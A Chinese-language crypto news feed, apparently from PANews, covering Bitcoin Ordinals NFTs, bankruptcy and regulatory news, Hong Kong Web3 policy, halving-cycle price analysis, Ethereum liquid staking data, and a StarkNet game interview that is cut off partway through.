有一幅ASCII艺术品在加密圈很出名，为了致敬逝世的早期比特币开发者 Len Sassaman以及时任美联储主席本·伯南克 (Ben Bernanke) ，当时的加密艺术家用字符在区块链上呈现了两幅人物面孔。这件作品短暂地掀起过加密艺术风潮。 当时的ASCII作品虽然很艺术，但没有流行太久，这是因为，这些数字艺术品无法被拥有，它只是被记录在链上，不属于任何人，也无法交易。缺乏收藏和投资回报价值，也就没能在以炒作为主的比特币生态中泛起活力。 如今，在以太坊、Solana等区块链网络将NFT普及后，比特币NFT姗姗来迟。聪明的Ordinals协议制造者让人们仿佛“雕花”般给比特币附加艺术价值。这看起来是一种新鲜的尝试，但实际上，事情可能并没那么美好。 截至目前，比特币区块链上已经诞生了超过5万个NFT。首个项目是仿照Cryptopunks发行的Ordinal Punk系列，多个NFT卖出了1BTC以上的高价，售价最高的Inscription 620价格甚至达到9.5 BTC（约148万元）。 一夜之间，NFT项目和玩家将比特币网络视为掘金新大陆。然而，以太坊上的NFT可以由智能合约删除元数据，但每个使用Ordinals制作的NFT都会永远地存储在比特币区块链上，这看上去更金贵了，但事实上导致了比特币网络节点的存储成本大幅升高。 数据显示，自Ordinals被引入后，比特币的区块大小从约 0.7mb跃升至超过2.2mb，数据量的攀升让网络节点们（比特币网络交易数据记录者）不得不提升成本来“记账”。 扩展性不足导致的交易卡顿、手续费高昂一直是比特币的主要痛点，NFT出现后，拥堵更严重了：区块大小在增加，市场情绪带来了更加频繁的交易操作。Dune数据显示，今年以来，支持Ordinals协议的比特币扩展工具Taproot的利用率大幅增加，这往往意味着交易成本走高，网络也更加堵塞。 曾有人将比特币NFT比喻“数字黄金上的雕刻艺术”，但本身比特币“数字黄金”的定位本身就有待商榷。毕竟在过去2年全球通胀的加剧周期里，比特币没有如像黄金一样“保值”，反而频繁地暴涨暴跌，让金融投资者对它“避险资产”定位产生怀疑。 一名加密KOL认为，对于比特币来说，它并不需要引入新的用例，也不需要采取其他手段提高人气，因为比特币在创造者中本聪的定义里，最重要的职能就是“点对点的电子现金系统”，“如果强加场景，而且是以加剧拥堵为代价，是得不偿失了。” 中本聪用加密技术模拟现金交易场景造出了比特币系统，原始的应用场景是支付，它诞生于2008年全球金融危机时，后来因为出现价格形成了投资和炒作市场，被人们加上了“避险资产”、“数字黄金”的定位，但这些“人设”因为比特币暴涨暴跌的市场反而遭到怀疑。毫无疑问，在投资市场，想给比特币加上其他故事，并不容易。 因此，有观点认为，引入NFT是在为在比特币下一次（2024年）产出减半前，为其增加新的叙事，烘托比特币的投资价值。但至少从目前看，比特币NFT只是带来了新的炒作空间，还给网络带来了负担，这反而会喝退比特币网络的采用者。 一名行业观察者评价，“没有人做好了接受比特币NFT的准备，甚至连比特币本身也没有。”  ( 4 min )
    Celsius仍对其他竞标持开放态度，尽管此前NovaWulf已出价
    PANews 3月9日消息，据路透社报道，Celsius Network的律师Chris Koenig周三在曼哈顿破产法庭的一次听证会上透露，尽管资产管理公司NovaWulf Digital Management已提出要约，该公司仍对更好的报价持开放态度，并且它及其债权人委员会两天前会见了一位潜在买家，以审查替代方案。 在听证会上，Celsius要求法官Martin Glenn提供更多时间提交围绕NovaWulf交易制定的破产重组计划，该计划将使加密存款不足5,000美元的客户兑现，并将公司剩余资产的所有权移交给拥有较大账户的客户。法官Glenn同意给Celsius额外三周的时间来提交第11章计划。Koenig表示，如果Celsius选择了另一个竞购者，它打算向NovaWulf提供高达2000万美元的合同解除费。Koenig说：“如果有更高的报价，那是因为NovaWulf设定了最低价格。” 此前3月2日消息，Celsius债权人称与NovaWulf的拟议交易是“最佳”选择。  ( 4 min )
    赵长鹏：币安在Silvergate上没有资产损失
    PANews 3月9日消息，币安创始人赵长鹏发推文称：“看到Silvergate的消息我感到难过，但至少，他们似乎会全额返还所有存款并保护用户。币安在Silvergate上没有资产损失。资金是安全的。” 此前今日早些时候消息，Silvergate Capital将结束运营并自愿清算银行，包括全额偿还所有存款。  ( 4 min )
    香港Web3新政后实地考察，分享8点所闻所感
    本文首发于推特，作者为PANews联合创始人毕彤彤 上周去香港拜访了八九家机构，了解下新政后的Web3发展机会。开放后内地的从业者像观光客一样，前赴后继地去香港打卡，有些机构一天要接待好几批人，每天回答一样的问题。分享下我获取的信息。 1.从叙事和炒作层面，香港概念着实有效，CFX等Chinese token之前的暴涨已经验证了。币圈资金也非常善于放大热点，利用叙事去进行炒作。在美国监管收紧的环境下，“东升西落”的提法很容易点燃共鸣。 2.都知道每一轮牛市都需要大量新资金入场，香港政策能带来大量新的资金入场吗？答案可能是否定的。香港的银行并不归这次政策的主导机构SFC管。并且银行是客户经理负责制，意味着客户经理对客户终身负责，类似审计师，未来出了事也要负责。目前香港银行对于加密圈的资金合作还是非常的保守和谨慎，银行客户经理没有意愿冒风险。未来有交易所牌照后，银行是否会友好，大家心里也没数。现在海外的所谓加密友好银行已经暂停了很多小机构的合作。OTC那边的信息是目前市场资金流出大于流入。 3.并不是所有交易所都有意愿去申请牌照，有些也是等等看的态度，大家也在算一笔账，毕竟香港总人口才900万，并且过度金融化，居民有很多的投资选项，美股标的多且波动不亚于币圈，就算是香港赛马会门口快凌晨都挤满了人。因此香港的获客成本比较高，平均要大几百元，而且不一定能转化为长期用户。 不少交易所还是看好内地、台湾、日韩、东南亚、南美洲等市场。如果未来香港牌照整体成本不高，可能会成为交易所们做branding的一部分。类似于现在很多交易所宣传自己拿到某小国牌照/许可。 4.目前政策还有很多不确定的细节，比如说未来可以上线的大市值代币有哪些，这直接决定对用户吸引力。 5.之前港股上线的三个crypto 期货ETF基本凉凉，毕竟要收百分之一的手续费，直接买币不香嘛？对于南方东英来说这就是个试水产品，不过在地铁站还是看到挺多宣传。 6. 香港路边有些crypto ATM，我看了下没去试，但听说手续费很高，而且这里容易遇到黑钱，业内人士不建议使用。 7.申请入驻数码港拿补贴对Web3，项目容易些，科技园门槛高，但据说3年下来可以拿千万补贴。 8. 香港本地的web3也是分小圈子，大陆圈、港人圈和老外金融圈，后者比较clubby，大家相对各玩各的，如果要去老外圈BD，公司基本也招的老外。香港本地的公开活动其实不多，大都是闭门活动，不过4月会成为香港活动月。 期待和大家4月份在香港见，我们也会举办周边活动。 以上，如有不对请本地业者指正。 PANews已上线Hong Kong Web3 Festival 2023活动汇总（持续更新），点此查看更多活动日程：  ( 4 min )
    SBF的律师称原定于10月份的审判可能需要推迟
    PANews 3月9日消息，据路透社报道，前FTX首席执行官Sam Bankman-Fried（SBF）的律师Christian Everdell周三表示，可能有必要推迟SBF原定于10月2日进行的刑事审判，理由是审查证据和准备辩护可能需要比预期更多的时间。Everdell在信中写道：“虽然我们此时不提出这样的申请，但我们现在想向法院说明这个问题。” Everdell在致美国地区法官Lewis Kaplan的一封信中说，曼哈顿的联邦检察官尚未提交从Caroline Ellison和Gary Wang的电子设备中收集到的证据。律师还指出，检察官上个月末增加了新的欺诈和共谋指控，将SBF的罪名增加到12项。 审判时间表和SBF的保释条件预计将在周五的法庭听证会上进行讨论。  ( 4 min )
    Coinbase推出钱包即服务（WaaS），以解决Web3钱包的复杂性
    PANews 3月9日消息，加密交易所Coinbase在博客上宣布，该公司推出钱包即服务（WaaS）以解决Web3钱包的复杂性。WaaS是一组可扩展且安全的钱包基础设施API，使公司能够为其最终用户创建和部署完全可定制的链上钱包。公司可以直接在他们的应用程序中为他们的用户提供钱包，只需输入用户名和密码即可。用户无需管理复杂的密钥，WaaS的安全性由多方计算 (MPC)加密技术提供支持。  ( 4 min )
    复盘历年减半周期：上涨动力从何而来？
    原文：《7 O'Clock Capital：减半为什么带来价格上涨》 作者：K 引言 2023年初BTC重新启航，市场开始苏醒，各个板块轮番上涨，其中以太坊上海升级作为今年叙事主线，热度依旧持续着。AI人工智能的应用由于处在萌芽阶段，在短期的概念炒作结束后逐渐回落。如今BTC也在突破25000美金之后开始回调盘整，在经历了各个板块在炒作过后大家开始将目光逐渐投向即将到来的DASH以及LTC的减半行情上，因为每次的减半/产都会打破供需平衡，再加上市场的炒作，必然会有大幅度的行情波动。 纵观减半/产历史行情，关注度最高的就是比特币，虽然还有其他PoW Token，但基本上都跟随BTC走势，不会走出独立行情。7 O'Clock Capital梳理了2023-2024即将减半/产的八大Token，供矿工和投资者们参考。 目录 减半/产是经济模型中的一个巧妙设计，主要是为了避免通胀问题，通过控制供给使得价格更加有利于上涨。因为单从供给的角度来看，减半/产会打破产出的动态平衡，当供给量减半，同时需求量又增长，市场整体会看涨，因此，减半被看作是市场情绪的正向促进。但仅仅因为供给的改变而带来的价格上涨是表面现象，其背后还有以下两点原因。 综上可以得出，大家普遍都会认为在减半前上涨是一次比较明确的盛宴。 减半必然会带来行情的波动，但更值得我们分析的是减半Token背后的核心群体，这样才能在多个选择里集中资金去埋伏更有潜力的项目，下文将通过这种方式来进行排序分析往年的行情变化，并从中提炼可供参考的规律。 对于减半Token，我们除了要分析核心用户群体，还要关注其叙事性，价格的上涨主要还是依靠大资金的入场以及高确定性的交易，如果项目没有好的叙事，即便是有上涨的行情出现，用户是很难判断入场以及离场的预期时间。通过以下的数据分析，我们可以提前进行资金埋伏。 减半/减产对价格的影响 1、BTC减半行情 小结 根据牛市初期的价格分析，下一波的牛市初期是上一个熊市低点的两倍多，因此可以大致预测下一波的牛市初期价格不会低于$30,000，最高不会低于$120,000，因此目前$16000的价格是比较合理且较低的价格，可以考虑分批建仓。 通过过往数据收集分析可知，2014年、2018年、2022年都是开启熊市的年份，持续下跌；2016年、2020年、2024年都是比特币减半的年份，标志着牛市的开端；2017年、2021年、2025年整年都是牛市期间，价格将会再度创新高。 以下为2010-2022年以来BTC的年初和年末价格对比，根据过去12年BTC的价格表现，4年一次行情节点，接下来可能会逐渐开始上涨行情。 2、LTC减半行情 小结 LTC自2011年10月推出以来，已经经历了两次减半。以上图表可以得出，LTC在15年的行情是提前3个月启动，19年是提前6个月启动，表明减半的炒作预期会在减半的3-6个月。LTC的减半机会和BTC的减半机会不一样，BTC的三次减半之后必然是开启牛市行情，而LTC的减半只有开始之前的炒作预期，减半开启前近2个月行情就已结束。 从K线图可知：LTC围绕55-60左右的价格近半年时间，底部构造比较充足，是最佳的买入点，现在回头看随着市场的炒作以及2023年年初的行情，已经翻了快1倍，相比上一次减半，LTC 直接从2018年12月的$22上涨到2019年6月$146U，上涨了6倍以上，预计2023年6月份行情结束前，还有2-3倍的空间。 根据LTC和BTC的走势对比，可以预判LTC到2023年6月15日左右到波段的高点，距离减半约40天： 由此得出 下图可以看到，其实每次熊市中，LTC的表现都优于BTC，爆发启动后会有一个不错的表现，这个表现主要来自Fomo情绪。LTC属于高度控盘项目，而高度控盘的巨鲸到一定阶段是要获利离场的，再加上LTC会比较依赖整体市场回暖，Fomo情绪才能顺利带动起来，因此见好就收，做好止损。 3、BCH和BSV减半行情 小结 2020年4月8日和4月10日，BCH和BSV完成迄今为止的首次减产，区块奖励从12.5 个 BCH 变成 6.25 个 BCH。 BSV和BCH比较相似，都是提前2个月就结束了减半行情。 BCH和BSV只有一次减半历史，目前还没有好的规律可参照，但是作为分叉Token，没有完善的生态以及需求，未来的上涨空间不会很大，并且过去几年，市值排名前10的Token，已经淘汰了BCH、BSV，炒作预期相对较低。 小结 2020年初至减半期间，ZEC最高涨幅达到了501.17%，在隐私Token中，整体涨幅较优，但是近减半的3个月来看，ZEC下跌了39.47%，同时在近一周和近24小时，ZEC也只是跟随大盘，并未走出自己的独立行情，总之减半后，ZEC价格并未有明显的上涨趋势，直到半年后，也就是2021年的5月牛市期间达到最高点$371。 从下图来看ZEC的大部分涨幅都集中在 1 月份，即减半概念板块大热的时候，其中4月份虽然也有较高的涨幅，但主要是 3·12 大跌带来的触底反弹。此外，ZEC在同年的8月份也就是 DeFi 夏天达到减半前新高也是受到行情的积极影响。 ZEC未来能否有新的突破要看他是否可以成功接入DeFi生态，并开发相应的应用，这样在下一波牛市，ZEC自身的价值以及在隐私领域中的地位都可以得到提升。目前市场的主要趋势是DeFi、Web3、元宇宙等赛道，匿名Token近两年的总市值排名开始滑落，三大匿名Token的市值排名除了门罗，其他两个已经在50名以外，虽然隐私在未来是刚需，但是有可能作为功能去赋能公链，目前分析来看2-3年，隐私板块很难再迎来爆发。 5、ZEN减半行情 小结 以上数据可以看出，ZEN的减半月表现较差，减半前5个月的价格涨幅波动并没有很大，减半后伴随BTC的上涨行情也开始上涨，在2021年5月8日，达到新高$169，距离减半完成时间间隔近半年时间，直到目前再没有突破新高。 ZEN的行情伴随BTC的趋势，没有走出自己的独立行情，目前也是减半Token中市值排名最低的项目，虽然ZEN的金主灰度也有ZEN信托，并且整个生态也有许多传统合作伙伴，但是就减半行情分析来看，机会不大，未来随着Web3的发展，可能会有继续的发展，有待观察。 小结 DASH是一年一减产，减产幅度是7.14%，第一次减产前5个月内出现最高点，涨幅达到232.06%，走势与当时BTC的行情波动一致，并没有走出独立行情，从最高点之后，就开始波动下跌。 第二次减产是在22年3月23日，从高点$138到最低点$45（5月12日），下跌近3倍，距离21年的高点$478已经下跌超过十倍，减产前2周，DASH的价格到达18年和19年的底部，减产后开始下跌。2022年11月9日，DASH跌到底部$30，到12月13日最高冲到$50，一个月的时间接近翻倍。2023年初随着BTC的上涨，DASH最高突破$77.9，目前回调在71美金左右，如果BTC没有大跌，大概会继续上涨。 从2022年的横盘期间看，DASH的吸筹成本在$38~$50附近，目前已经涨了35%左右，看好的用户可以分批囤入，预期还有2倍左右的收益。 小结 目前，ETC已经完成了3次减产，每次的减产幅度是20%，第一次减产，是在2017年11月3日底部开始上涨，12月20日达到最高点；第二次减产之前，加密资产市场发生了「3·12」暴跌，ETC在减产前40天内由最高$13.2跌至最低价$3.1，跌幅是-329.97%；第三次减产是在22年的4月25日，从3月16日至29日间，ETC从$25.6美元上涨至最高$52.66，涨幅达到105.7%，成为当时为数不多表现亮眼的项目，即将到来的减产显然是这次上涨的催化剂。总体表现看，ETC在减产前的30-40天就有一次波段行情。 无论是共识机制的迁移、承载算力还是减产，都只是ETC发展过程中的一步，对于ETC来讲并不能完全促使他更好的发展，尤其随着各大新兴公链的生态以及实际应用落地，ETC的发展还有待继续完善。 四年一次减半的看起来比一年一次的减产爆发力能强一些，根据减半时间看，明年正式开启减半大戏，最先可以埋伏的币有LTC和DASH，但是最大利润空间应该是LTC，虽然DASH最先开始减产，但是这个币种减产的比例较低，影响不是特别大，而且现在恰逢熊市要见底这种大环境，LTC是减半，DASH是减产，相比之下LTC炒作预期共识热度相对更高，上次LTC减半涨幅约六倍多，如果错过了去年11月的炒作，接下来的2个月就是比较合适的布局时间。 根据BTC减半后牛市开启的规律，可以预测2024年才是真正的牛市，即：2024年5月2日，同时，2024年4月有BCH和BSV的减半利好，但是这三个Token的减半时间距离太近，资金比较难集中炒作，ZEC和ZEN也是同样的情况，而ETC减半时间没有竞争对手，还是有一定的想象空间。 减半/产实际上无法拯救价格，需要利好消息、并配合整体的行情以及足够的叙事。  ( 5 min )
    Lido社区新提案提议停止在Polkadot和Kusama上的流动性质押服务
    PANews 3月9日消息，Lido Finance社区发起新提案，提议停止在Polkadot和Kusama上的流动性质押服务。Lido合作伙伴MixBytes在提案中表示，自2023年8月1日起，将停止在Polkadot和Kusama流动性质押协议上为Lido开发和提供技术支持，并称“做出这个决定是因为面临多项挑战，包括市场条件、协议增长等”。 MixBytes建议在3月15日之前停止接受新的DOT和KSM进行流动性质押，并在6月晚些时候自动取消代币质押。MixBytes还表示正在寻求Lido DAO每月提供20000美元的资金，以支持五个月的技术维护工作。  ( 4 min )
    Otherside元宇宙活动2nd Trip暂定于3月25日上线，Otherdeeds NFT持有者将有机会参与
    PANews 3月9日消息，Yuga Labs在博客中宣布Otherside元宇宙平台的Otherside:2nd Trip活动暂定于3月25日上线。Voyagers（航海者）将能Trip（旅行）开始前15分钟进入体验，Otherdeeds NFT持有者将有机会参加2nd Trip，前提是他们在主要故事开始之前准时到达体验，2nd Trip可以通过邀请参与，未来几周将提供更多关于Guest Pass(访客通行证)如何运作的细节。一旦2nd Trip达到容量，玩家将无法再加入体验。航海者将优先于访客通行证进入体验。参与链接将于当天发布。参加2nd Trip的旅行者将有资格获得第一次FIRST TRIP Obelisk碎片。 此前去年7月消息，Otherside完成First Trip技术演示并发布Litepaper。  ( 4 min )
    美国总统拜登将在预算提案中结束对加密货币等投资者的税收减免
    PANews 3月9日消息，据彭博社报道，美国总统拜登将在周四公布的预算提案中结束对私募股权基金经理、石油公司以及加密货币和房地产投资者的税收减免。共和党控制的众议院将阻止取消税收优惠的法案，但政府的文件预示着如果拜登在2024年连任，他可能会将这些问题置于其经济纲领的中心。 预算案中包括的许多条款都是拜登以前提出过的想法，但是到目前为止还无法在国会获得必要的支持，使其成为法律，包括他自己的政党成员，比如西弗吉尼亚州参议员Joe Manchin。  ( 4 min )
    数据解读LSD赛道：面对上海升级红利，各家都使出什么“解数”？
    原文：《Data Driven | 数据解读以太坊质押赛道》 出品：DODO Research 编辑：Yaoyao、Lisa 作者：Bruce 本篇文章我们根据自建 Dune 数据面板、引用多个数据源，对 LSD 赛道数据进行详尽分析，平行对比分析 LSD 第一第二梯队项目。 本文将从市场份额、市场增长率、节点运营商表现、折价表现、LSD 用处去向等多种数据维度，分析展现 LSD 赛道的市场现状，让读者直观感受 LSD 赛道市场现状。文章的数据分析结构也可作为读者在评估第三梯队项目的参考。 注：全文数据截止至 2023.3.1 自建 Dune 面板：https://dune.com/owen05/lsd-datacheck Liquidity Staking Derivatives，简称 LSD，是用户通过联合质押方式质押 ETH 换取的凭证，LSD 代表了持有者的质押资产，持有 LSD 可以享受质押收益。目前规模最大的 LSD 是 Lido 协议的 stETH。 目录 I. LSD 背景：上海升级与 LSD 的需求 II. LSD 商业模式 & 头部典型项目 III. LSD 市场现状 - 市场份额、市场增长率、节点运营商表现、折价表现等 IV. 赛道发展 & LSD 生态机会 V. LSD 对 DeFi 其他赛道的影响 1.1 以太坊质押与上海升级 以太坊 1.0 采用 POW 共识机制，节点需要通过计算来获得记账权。在以太坊 2.0 中，共识机制转为 POS。在之前以太坊大型升级中，已经将信标链合并至主网，但是质押在信标链的 ETH 以及相应的质押奖励在上海升级后才可以提出。 因此，上海升级使得用户可以提取质押资金，通过上海升级，以太坊将实现 POS 的全部基本功能，消除质押资金无法提取的风险，并打通 LSD 产品逻辑的最后一环。 1.2 LSD 的需求 在 ETH 2.0 中，采用了 POS 共识机制，节点需要质押 32 ETH 才能参与网络维护。质押 ETH 所产生的流动性问题也就随之而来。LSD 的出现就解决了这一问题，通过 LSD，质押者可以将质押的 ETH 转化为一种可以交易的资产，从而解锁流动性，且 LSD 也降低了用户质押 ETH 的门槛。同时，交易者也可以通过交易 LSD 来获取收益，从而增加市场的流动性和活力。 1.3 LSD 赛道火热的因素   02.LSD 商业模式 & 头部典型项目 2.1 四种质押方式 目前参与以太坊质押的方式有四种，LSD 在官方文档中被称之为联合质押。现有 LSD 协议普遍会抽取一定的手续费作为利润，理论上 LSD 协议的收益率是较单独质押等低。 来源：Ehereum 官方文档 从表中可见，联合质押（LSD）的特点主要是无需运行硬件，无 32 ETH 门槛，无需管理密钥，简便易操作，且能随时退出。但同时需要托管资产，有一定的信任风险。 2.2 LSD 市场份额 LSD 是最受欢迎的质押方式，市场份额占三分之一，且有望继续增长。 数据来源：Dune Analytics Dr.DODO自建 Dashbord；备注：LSD 协议手动索引，Others 项包含了未知种类的质押地址 2.3 龙头项目 Lido Lido 的运作机制 Lido 的运作机制代表了这个赛道最基本的商业模型。在下游，吸收用户的资金形成资金池管理资金，用于 POS 质押，在上游，组织节点运营商代替用户成为验证节点，获取质押奖励。 LSD 商业模式 2.4 其他模式创新 LSD 项目在本质上模式是一样的，不同的 LSD 项目在不同的环节有一定的创新之处。   03.LSD 市场现状 3.1 以太坊质押率 按照市值排序出排名前 20 的公链，对比各条 POS 公链的质押率，可以发现，以太坊的质押率目前只有 14.77%，非常低（年初 12% 左右），具有非常大的增长空间和增速。 数据来源：Stakingrewards.com 3.2 主要 LSD 协议市场份额 Lido 市场份额最大，是第二位市场份额的 15 倍左右，占据绝对优势，Lido 具有先发优势，且 DeFi 生态成熟。第二梯队包括 Rocket Pool，Stakewise，Frax，Ankr。第二梯队协议之间的差距并不大，Rocket Pool 具有一定的先发优势，Frax 在收益分配上有亮点，其他产品并没有特别特殊的设计。第三梯队市场份额较低，目前没有突出的 LSD 协议。 Lido 的领先优势明显。以太坊质押率很低，上海升级后会有比较大的增量空间，第二第三梯队的项目差距不大，之后将会迎来较大竞争。 数据来源：Dune Analytics 3.3 主要 LSD 协议市场增长率 以下是四个主要 LSD 的 30 日增长率变化，数据截取的时间跨度是 2023 年初至今。Lido 依旧强势，几乎没有负增长，Stakewise 的市场份额上升缓慢，一定程度上反映了老 LSD 协议在商业模式上缺乏亮点，在抢夺质押增量时竞争力不足。 数据来源：Dune Analytics Dr.DODO自建 Dashbord 3.4 主要 LSD 协议节点运营商表现 节点运营商是质押收益的基础，节点运营商的表现将直接影响到 LSD 协议的 APR，以下是主要 LSD 协议节点运营商的表现，各个协议节点运营商的 APR 绝对差距不大，节点运营商之间的差异不明显。相对来看，Lido 的 APR 保持第一，底层节点运营商表现领先市场；而众包模式的 Rocket Pool 罚没较多，APR 相对较低；Ankr 的 APR 表现最差。 3.5 各个 LSD 的折价表现 LSD 能不能锚定 ETH，是重要的表现指标，这决定了其能否被接入更广泛的 DeFi 协议，以及围绕其搭建的乐高的稳定性。LSD 对 ETH 的折价表现一方面反映市场信心，一方面反映 LSD 本身的稳定性。在上海升级后，LSD 可以在链上提取，自带套利机制，LSD 的价格波动都会得到很大改善。 数据来源：Dune Analytics Dr.DODO自建 Dashbord 3.6 LSD 的用处去向（以 stETH 为例） stETH 前十持有地址总共吸收了 68.02% 的 stETH。前三持有地址吸收了 50% 的 stETH，分别是 wstETH 合约，AAVE 以及 Curve 池。封装 wstETH 的用户大概率也会去 DeFi 协议中实现更复杂的收益策略，因此，有超过 50% 的 stETH 流动性被释放到 DeFi 协议中。而 stETH 的三大去处是：封装 stETH，享受质押收益的同时接入 DeFi；AAVE 抵押；Curve 挖矿。 数据来源：etherscan 04.赛道发展 & LSD 生态机会 4.1 主流项目对比 LSD 协议的原生代币为市场提供了一个估值标的，关注原生代币是否分红等在当下的市场环境下并没有太大意义。底层来看，节点运营商的表现差异不大，节点运营商方面没有什么可以突破的地方。市场占有率，产品的竞争力（很大程度上由 DeFi 乐高影响），能不能继续扩大规模，以及市场对 LSD 上升空间的预期就是较为重要的。 对比分析 MarketCap/TVL，可以看出年后市场对 LSD 赛道的估值明显抬升。以下几点值得注意： 数据来源：coingecko，defillamma 4.2 小规模 & 新 LSD 项目总结   05.LSD 对 DeFi 其他赛道的影响 5.1 借贷 LSD 对于借贷协议是优质的抵押品，LSD 本质上是带息的 ETH 存款，同样也需要借贷协议随时获得流动性。LSD 的持续火热将会在以下几个方面影响借贷赛道。 5.2 DEX 在上海升级允许提现之前，DEX 作为 LSD 的退出通道，上海升级之后，DEX 也将作为 LSD 最重要的退出通道，快速方便。LSD 与 ETH 可近似看成稳定币交易对，LP 做市风险低，收益可观。 LSD 需要在 DEX 中争夺流动性，以求更高的稳定性和收益。Curve，Balancer 等或将成为新的 LSD 项目争夺流动性的重要战场，更高的收益激励 → 更大的流动性 → 更好的用户体验 → 更高的市场份额。 5.3 基础设施 LSD 在商业模式上还存在着托管用户资产，节点运营商中心化的问题。Ankr 有过安全事件，整个体系的稳健性需要底层提出更有效更安全的解决方案。 感谢来自 Snapfinger Research，7upDAO， 以及 DeFi KOL @0x_Todd，@NintendoDoomed，@DeFi_Cheetah 的宝贵反馈！ 参考文献 https://mirror.xyz/0x17f3F81860345567482E1D232FB5B6f8bD77f3Bd/mcgqcKozJPlcLfP1G3dv5JDAUpcYJ6-Eu4ND08xSTiQ https://ethereum.org/zh/staking/ https://mirror.xyz/0x111c5b6E316D72036cf9f4a7C0943Ac0Bb24ffe6/Z4cwpy5wqvVHB2J5S79Pd6fPrxEthz0VEjdFD1aziPA https://twitter.com/jason_chen998/status/1612507639413641225 https://www.panewslab.com/zh/articledetails/u41q21h4z545.html https://news.marsbit.co/20221122181456777765.html https://notes.ethereum.org/@adiasg/preventing-eth2-validator-failure#Proposals-for-SSV-protocols https://mirror.xyz/0x17f3F81860345567482E1D232FB5B6f8bD77f3Bd/miMs_ElrL0aTWkKZAjR_0v7lRUAjsji-czDNgx5MG5o https://docs.lido.fi/ https://docs.rocketpool.net/overview/ 免责声明 本研究报告内的信息均来自公开披露资料，且本文中的观点仅作为研究目的，并不代表任何投资意见。报告中出具的观点和预测仅为出具日的分析和判断，不具备永久有效性。  ( 8 min )
    Gemini否认“摩根大通正结束与其合作关系”的报道
    PANews 3月9日消息，加密交易所Gemini在推特上澄清了此前CoinDesk的报道，Gemini表示：“尽管有报道与此相反，Gemini与摩根大通的银行关系仍然完好无损。” 此前今日早些时候消息，CoinDesk报道称摩根大通正结束与Gemini的业务合作关系。  ( 4 min )
    Alpha Sigma和Transform Ventures将为两只新的区块链基金筹集1亿美元
    PANews 3月9日消息，据路透社报道，Alpha Sigma创始人兼首席执行官Enzo Villani周三表示，总部位于美国的数字资产基金Alpha Sigma Capital和风险投资公司Transform Ventures将为两只专注于区块链和去中心化Web3风险投资的新基金筹集1亿美元。 由加密投资者Michael Terpin创立的Transform Ventures也将其部分资产与Alpha Sigma的母公司合并，成立了一家名为Alpha Transform Holdings的新控股公司。后者将监管这两只新基金。新的Alpha Liquid数字资产基金于本月初推出，最初由Terpin投资，他对现金、比特币和以太坊进行了265万美元的个人投资，并可选择再投资290万美元。 Villani表示，第二只基金是一家名为爱琴海基金(Aegean fund)的封闭式风险投资公司，目前仍在建立过程中。  ( 4 min )
    美CFTC主席：以太坊和稳定币是商品不是证券，Gary Gensler涉嫌违法
    PANews 3月9日消息，据《财富》Fortune报道，在参议院农业委员会听证会上，美国商品期货交易委员会（CFTC）主席Rostin Behnam表示反对美国证券交易委员会主席Gary Gensler此前称“除比特币外所有加密货币都应归类为证券”，他认为以太坊和稳定币（比如Tether）属于商品，而不是证券。Rostin Behnam还称，Gary Gensler起诉Paxos并称其是一种“未注册证券”这件事或涉嫌违反投资者保护法，他希望与美国证券交易委员会合作以寻求协调机会，但CFTC尚未收到如何区分商品与证券的法律指导。  ( 4 min )
    美国法官批准Voyager保留Alameda之前向其索赔的4.45亿美元的贷款
    PANews 3月9日消息，据The Block报道，美国特拉华州破产法院法官John Dorsey批准了Voyager Digital和FTX之间协议，其中包括FTX起诉Voyager要求其偿还贷款后，Voyager将保留4.45亿美元。作为约定的一部分，双方同意参与不具约束力的调解，并为剩余争议的诉讼建立框架。Dorsey还批准了Godfrey & Kahn律师事务所的股东Katherine Stadler担任FTX案件的费用审查员。 Alameda诉讼可能会对Voyager客户产生重大影响。律师表示，根据重组计划，Voyager客户资金的回收率可能会达到73%，但如果FTX和Alameda索赔成功，这一比例将降至48%。 此前1月31日消息，Alameda Research提起诉讼寻求从Voyager Digital追回4.46亿美元资金；2月28日消息，Voyager已与Alameda就保留4.45亿美元贷款达成协议。  ( 4 min )
    对话 Influence：永不停息的太空全链 MMO 游戏世界
    原文：《对话 Influence：永不停息的太空全链 MMO 游戏世界》 「StarkNet 中文」社区和 Nurstar 推出全新采访系列《对话 Starknet 建设者》，采访 Starknet 生态建设者们，带大家深入了解 Starknet 生态建设的重要进程，从细节中发现 Alpha。本系列涵盖全链游戏、开发团队、 基础设施等多领域，我们一起与 Starknet 项目背后的优秀团队对话。 第二期邀请到 Influence 团队，由其团队开发出构建在 Starknet 上的太空 MMO 战略全链游戏《Influence》。本期将带领玩家领略《Influence》的神奇魅力：团队对建造全链游戏的想法，了解游戏规则、资产以及代币经济模型，展望未来的发展计划。本期内容精彩，不容错过！ 采访英文版由 Nurstar 发布，点击查看完整内容 。 团队开发出基于科学太空的 MMO 策略游戏《Influence》，讲述了残存的人类流亡到小行星 Adalia 并重新构建新星球的游戏背景。 玩家拥有专属的小行星，通过操纵游戏船员，建造基础设施建筑，制作工具挖掘资源等方式强化自己的星球。《Influence》还设计出采矿、建造、交易、研究和战斗等多种模式，鼓励玩家间良性的合作竞争。 目前《Influence》已进行三轮有奖测试，未来还有第四轮，体验游戏功能、完成测试任务即可获得 SWAY 代币奖励。社区可参与游戏情节设计和机制设计，具有足够开放性和灵活性。 精彩对话： 本文对话经过编辑，以下是翻译后的采访内容 主持人：@StarkNet_ZH 采访嘉宾：@influenceth Starknet 中文：在 Influence 或加密领域之前，你们在做哪方面呢？ Influence：我们团队拥有非常广泛的经验，我们的创始人曾担任多家科技初创公司的首席技术官和技术副总裁。我们的游戏设计师和艺术家有着制作 3A 级游戏的背景，有些人曾在 CCP Games 公司（位于冰岛的电脑游戏开发和发行商）工作，有着制作《星战前夜》（科幻太空背景下的大型多人在线游戏）的经验。Influence 和这款游戏有些类似的地方，所以他们的经验非常宝贵。 Starknet 中文：为什么选择在 Starknet 上构建呢？Starknet 哪方面的优势最让你感兴趣？（高可扩展性、ZK-Rollup、帐户抽象等） Influence：Starknet 是 ZK-Rollup 领域的先驱，并且一直秉持着专业的精神。在与来自 Polygon 到 Starknet 的所有 L2 团队交谈后，我们觉得我们的目标、理念和产品与 Starknet 是最相符的。同时，Starknet 明显有能力为 Influence 提供永久家园，从而增加我们支持不断增长的用户群体的能力。 Starknet 中文：建造 Influence 这么一个全链 MMO 游戏的想法是如何来的呢？ Influence：Influence 的创始人 Chris Lexmond 是 2010 年代初至中期的《星战前夜》玩家，曾帮助创建游戏内最大的联盟，并后来组织和管理了他们的金库。然而，这很快变成了像第二份工作一样的事情，但他所做的所有工作都没有得到回报。虽然他喜欢（现在仍然如此）《星战前夜》，但他所投入的时间和所获得的回报之间存在着不平衡。 